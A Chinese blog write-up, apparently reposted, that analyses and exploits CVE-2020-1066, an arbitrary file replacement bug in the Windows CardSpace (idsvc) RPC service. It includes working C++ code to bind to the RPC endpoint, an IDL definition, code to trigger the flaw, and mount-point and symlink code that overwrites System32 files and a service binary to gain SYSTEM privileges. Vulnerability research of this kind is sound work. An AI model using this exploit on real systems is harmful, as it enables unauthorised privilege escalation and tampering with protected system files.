• CVE20201066 任意文件替换漏洞分析和利用


    1、背景

    漏洞是作者cbwang505发现的,并且作者本人在他的GitHub上传了EXP的利用代码,由于这个和RPC相关,自己也研究过RPC,所以分析了一下。但是在具体实现过程中自己遇到了很多问题,这里将它记录下来,同时帮助想要了解任意文件替换漏洞的同学入门(虽然自己也是菜狗)。任意文件替换漏洞的原理可以在这里了解一下,本文也会简单介绍一下任意文件替换漏洞是怎么产生的,以及我们怎么去利用。

    首先每一个文件和文件夹都有它的访问属性如下所示,每一个用户对它的操作权限也不尽相同,从下面两张图可以看出system权限的用户对python有读写执行的权限,但是普通用户只有读和执行的权限。那么这里说明一个什么问题?说明普通用户改不了这个文件只能读取和执行。

    虽然说普通用户没有权限去修改这个文件,但是普通用户可以创建链接的方式将两个文件链接起来。

    想象一下,如果知道一个system权限的进程往一个普通用户也可以操作的目录写入文件,会产生什么样的问题?

    1、普通用户将这个文件夹重定向到一个系统目录下的文件,比如C:\Windows\System32目录;

    2、如果system权限的进程没有使用模拟(Impersonate)用户身份操作,那么system权限的进程就可以成功将文件写入到C:\Windows\System32目录中;

    3、如果写入的文件是3.txt,普通用户还可以将3.txt链接到c:\windows\system32\mfc100.dll;

    4、那么3.txt中的内容会将mfc100.dll的内容覆盖,假设我们能控制system权限的进程写入的内容,这不就完成dll劫持了吗?

    原文中给出了几种利用的场景有兴趣的可以去了解一下,这里是他使用到的工具

    2、CVE-2020-1066漏洞的利用

    原文中作者观察到当调用idsvc服务的Proc0_RPCClientBindToService和Proc2_RPCDispatchClientUIRequest函数的时候会出现上述所诉的任意文件替换漏洞,这里简单看一下idsvc服务,推荐使用ProcessHacker查找服务,默认这个服务是关闭的,这里手动可以将其打开。

    但是我们怎么样才能调用服务给出的函数,以及服务给出的函数有什么,这里稍微了解一下RPC的相关知识。首先RPC在windows进程通信中用到非常的频繁,几乎所有系统服务都用到了,下面是微软给的一个简易介绍图,其实也看不出什么,我简单描述一下,首先服务的会注册一个RPC服务(可以是远程也可以是本地如下图所示),调用RpcServerUseProtseqEpA函数定义使用的协议类型,以及提供的服务名字,接着调用RpcServerRegisterIf注册服务,最后是RpcServerListen等待客户端的链接,GitHub上有简单实现的用例

    rpc architecture

    在对RPC是大体如何工作之后,我们来关注一下RPC的各个函数是怎么调用起来的,在前面说过如果要调用rpc服务得先注册一个服务给我们使用,这里可以使用rpcview来观察,下图可以看到idsvc服务确实提供了一个服务,协议是ncalrpc,名字是31336F38236F3E2C6F3F2E6F20336F20236F21326F。

    这里可以使用下面的代码来绑定到这个服务中,代码使用的是原作者的。

    BOOL StartRpcService(){
    	RPC_STATUS status;
    	unsigned int  cMinCalls = 1;
    	RPC_SECURITY_QOS SecurityQOS = {};
    	RPC_WSTR StringBinding = nullptr;
    	if (StartConnectingService()){
    		status = RpcStringBindingComposeW(nullptr, (RPC_WSTR)L"ncalrpc", 0, (RPC_WSTR) L"31336F38236F3E2C6F3F2E6F20336F20236F21326F", nullptr, &StringBinding);
    
    		if (status) {
    			printf("RpcStringBindingComposeW Failed:%d\n", status);
    			return(status);
    		}
    
    		status = RpcBindingFromStringBindingW(StringBinding, &hBinding);
    		RpcStringFreeW(&StringBinding);
    		if (status) {
    			printf("RpcBindingFromStringBindingW Failed:%d\n", status);
    			return(status);
    		}
    		SecurityQOS.Version = 1;
    		SecurityQOS.ImpersonationType = RPC_C_IMP_LEVEL_IMPERSONATE;
    		SecurityQOS.Capabilities = RPC_C_QOS_CAPABILITIES_DEFAULT;
    		SecurityQOS.IdentityTracking = RPC_C_QOS_IDENTITY_STATIC;
    
    		status = RpcBindingSetAuthInfoExW(hBinding, 0, 6u, 0xAu, 0, 0, (RPC_SECURITY_QOS*)&SecurityQOS);
    		if (status) {
    			printf("RpcBindingSetAuthInfoExW Failed:%d\n", status);
    			return(status);
    		}
    
    		status = RpcEpResolveBinding(hBinding,boo_v1_0_c_ifspec);
    
    		if (status) {
    			printf("RpcEpResolveBinding Failed:%d\n", status);
    			return(status);
    		}
    
    	}
    	else
    	{
    		printf("Start Connecting Windows Cardspace Service Failed");
    		return 0;
    	}
    	return 0;
    }

    现在已经绑定到了这个服务中,如何调用它的方法?可以观察到这个服务提供了三个接口,如果对com不熟悉的同学可以把它想象成提供了三个类,每一个类都提供了一些方法给客户端使用,但是如何去找到这个三个类呢?就需要给定下图所示的Uuid了,可以理解成通过uuid找到三个类的对象,然后通过这个对象调用对应的方法(我们关注的是00645e6c-fc9f-4a0c-9896-f00b66297798),下图没有符号所以看不了对应的函数名字,但是有多少个方法以及传入的参数类型都已经给出了。

    通过原作者的分析我们知道调用Proc0_RPCClientBindToService和Proc2_RPCDispatchClientUIRequest方法会产生漏洞,也就是第一个和第三个方法(这里不具体解析内部函数的实现,主要目的是演示如何调用RPC接口和任意文件替换的利用),这里需要在工程文件中新建一个.idl文件里面放入下面的代码,这里是导入符号之后的结构,导入方式在原作者GitHub上也详细给出了。

    [
    	uuid(00645e6c-fc9f-4a0c-9896-f00b66297798),
    	version(1.0),
    ]
    interface boo
    {
    
    	typedef struct Struct_RpcRequest
    	{
    		[unique][string][size_is(101)] wchar_t* 	Type;
    		[range(0, 20971520)] long 	Length;
    		[unique][size_is(Length)]char *	Data;
    	}RpcRequest;
    
    	typedef struct Struct_RpcResponse
    	{
    		[range(0, 20971520)] long 	Length;
    		[unique][size_is(Length)]char *	Data;
    	}RpcResponse;
    
    	long Proc0_RPCClientBindToService(
    		[in] handle_t hBinding,
    		[out][context_handle] void** arg_1);
    
    	long Proc1_RPCDispatchClientRequest(
    		[in]struct Struct_RpcRequest* arg_1,
    		[out][ref]struct Struct_RpcResponse** arg_2);
    
    	long Proc2_RPCDispatchClientUIRequest(
    		[in][out][context_handle] void** arg_0,
    		[in]struct Struct_RpcRequest* arg_1,
    		[out][ref]struct Struct_RpcResponse** arg_2);
    }

    然后在新建一个.acf文件放入一下代码

    [
        implicit_handle (handle_t boo_IfHandle)
    ] 
    interface boo
    {
    }

    点击生成,vs会创建三个文件,如下所示,_s代表的是服务端,_c是客户端,具体教程也可以参考msdn。最后导入头文件,但正常情况是编译不过的,需要在导入lib库

    接着就能正常调用代码触发漏洞。

    BOOL RunRpcService()
    {
    	RpcRequest* req = (RpcRequest*)CoTaskMemAlloc(sizeof(RpcRequest));
    	req->Type = (wchar_t *)L"ManageRequest";
    	req->Length = 0;
    	req->Data = 0;
    	RpcResponse* rep = (RpcResponse*)CoTaskMemAlloc(sizeof(RpcResponse));
    	UINT32* ctx = 0;
    	long ret = Proc0_RPCClientBindToService(hBinding, (void**)&ctx);
    	printf("Proc0_RPCClientBindToService :%d\n", ret);
    	ret = Proc2_RPCDispatchClientUIRequest((void**)&ctx, req, &rep);
    	printf("Proc2_RPCDispatchClientUIRequest :%08x\n", ret);
    	return 0;
    }

    可以使用procmonitor抓一下行为,可以看到idsvc服务进程往C:\Users\sam\AppData\Local\Microsoft\目录中写入了CardSpace目录和其他文件,查看Microsoft目录可以知道当前用户拥有文件夹的完成控制权限的,而其idsvc服务在操作文件的时候没有使用模拟(Impersonate)用户身份。

    为了更加直观的观察,我们控制C:\Users\sam\AppData\Local\Microsoft\CardSpace目录指向桌面,让它写入到桌面试试看,这里导入GitHub创建链接的工程

    运行之后可以看到下面的效果,原本是访问C:\Users\sam\AppData\Local\Microsoft\CardSpace目录的CardSpace.db文件,但是由于我们创建了一个新的挂载点到桌面,所以路径就变成了桌面。

    经过测试之后发现,idsvc服务会读取CardSpace.db文件的内容,并且写入到C:\Users\sam\AppData\Local\Microsoft\CardSpace\CardSpace.db.atomic文件中,那么到了这里已经能正常利用了,需要注意的我们能覆盖的文件必须是system用户有权限读写的,下面命令就是找system32下可以让system读写操作的dll,在提一下TrustedInstaller用户的权限比system权限还高,大部分系统自带的文件都只有TrustedInstaller用户才能写。

    accesschk.exe -s -w  "nt authority\system"  c:\windows\system32\*.dll

    1、创建C:\Users\sam\AppData\Local\Microsoft\CardSpace到\RPC Control

    2、创建链接\RPC Control\CardSpace.db===>\??\C:\Users\sam\Desktop\CardSpace.db  == Faker.exe(要替换的进程)

    3、创建链接\RPC Control\CardSpace.db.atomic===>\??\C:\Windows\System32\vmhgfs.dll (这个dll能被system权限的用户修改)

    if (CreateDirectory((LPCWSTR)L"C:\\Users\\sam\\AppData\\Local\\Microsoft\\CardSpace", nullptr) || (GetLastError() == ERROR_ALREADY_EXISTS)){
    		if (!ReparsePoint::CreateMountPoint(L"C:\\Users\\sam\\AppData\\Local\\Microsoft\\CardSpace", L"\\RPC Control", L"")){//\RPC Control  C:\\Users\\sam\\Desktop
    			printf("Error creating mount point - %d\n", GetLastError());
    			return 0;
    		}
    	}else{
    		printf("Error creating directory - %d\n", GetLastError());
    		return 0;
    	}
    	 
    	if (CreateSymlink(NULL, L"\\RPC Control\\CardSpace.db", L"\\??\\C:\\Users\\sam\\Desktop\\CardSpace.db") == false) {
    		printf("[+]CreateSymlink Failed,error: %d\n", GetLastError());
    		return FALSE;
    	}
    
    	if (CreateSymlink(NULL,L"\\RPC Control\\CardSpace.db.atomic", L"\\??\\C:\\Windows\\System32\\vmhgfs.dll") == false){//.atomic   
    		//\\??\\C:\\Program Files\\Common Files\\microsoft shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE
    		printf("[+]CreateSymlink Failed,error: %d\n", GetLastError());
    		return FALSE;
    	}

    在桌面准备一个CardSpace.db这个会替换vmhgfs.dll

    运行之后就完成替换了如下所示

    3、提权

    最后任意文件替换漏洞分析分析了,那说好的提权呢?原作者利用的是Bit COM提权的漏洞,有兴趣的可以去看看,这里我选择替换windows的服务进程从而实现提权\\??\\C:\\Program Files\\Common Files\\microsoft shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE,这个OSPPSVC.EXE进程system用户能读写。将notepad.exe改名为CardSpace.db放到桌面,然后执行boo.exe完成notepad替换为OSPPSVC。

    最后启动服务可以看到notepad是system权限的

    我的代码放在了GitHub上,需要注意的是桌面路径是写死的,需要根据自己的名字去改,还有就是需要先编译CommonUtils生成CommonUtils.lib在生成boo.exe(默认x86 release版本)。

     
  • 相关阅读:
    【NOIP2007】守望者的逃离
    20200321(ABC)题解 by 马鸿儒 孙晨曦
    20200320(ABC)题解 by 王一帆
    20200319(ABC)题解 by 王一帆 梁延杰 丁智辰
    20200314(ABC)题解 by 董国梁 蒋丽君 章思航
    20200309(ABC)题解 by 梁延杰
    20200307(DEF)题解 by 孙晨曦
    20200306(ABC)题解 by 孙晨曦
    20200305(DEF)题解 by 孙晨曦
    20200303(ABC)题解 by 王锐,董国梁
  • 原文地址:https://www.cnblogs.com/csnd/p/16675592.html
Copyright © 2020-2023  润新知